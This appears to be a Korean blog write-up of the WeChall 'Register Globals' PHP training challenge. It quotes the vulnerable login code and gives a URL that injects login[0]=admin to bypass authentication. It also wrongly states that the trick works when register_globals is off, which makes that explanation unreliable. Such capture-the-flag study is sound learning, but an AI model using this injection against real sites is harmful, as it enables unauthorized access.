Register Globals

문제의 코드는 아래와 같다.

# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{
        $uname = mysql_real_escape_string($_POST['username']);
        $pass = md5($_POST['password']);
        $query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";
        $db = gwf_db();
        if (false === ($row = $db->queryFirst($query))) {
                echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));
        } else {
                # Login success
                $login = array($_POST['username'], (int)$row['level']);
        }
}

if (isset($login))
{
        echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', htmlspecialchars($login[0]), htmlspecialchars($login[1])));
        if (strtolower($login[0]) === 'admin') {
                $chall->onChallengeSolved(GWF_Session::getUserID());
        }
}

여기서 Register Globals 옵션이 꺼져 있으면 login 변수를 GET 인자로 전달할 수 있다. 따라서 아래와 같이 GET 인자를 구성하여 넘기면 된다.

http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin&login[1]=1

참고 : http://php.net/manual/en/security.globals.php

답글 남기기

이메일 주소를 발행하지 않을 것입니다. 필수 항목은 *(으)로 표시합니다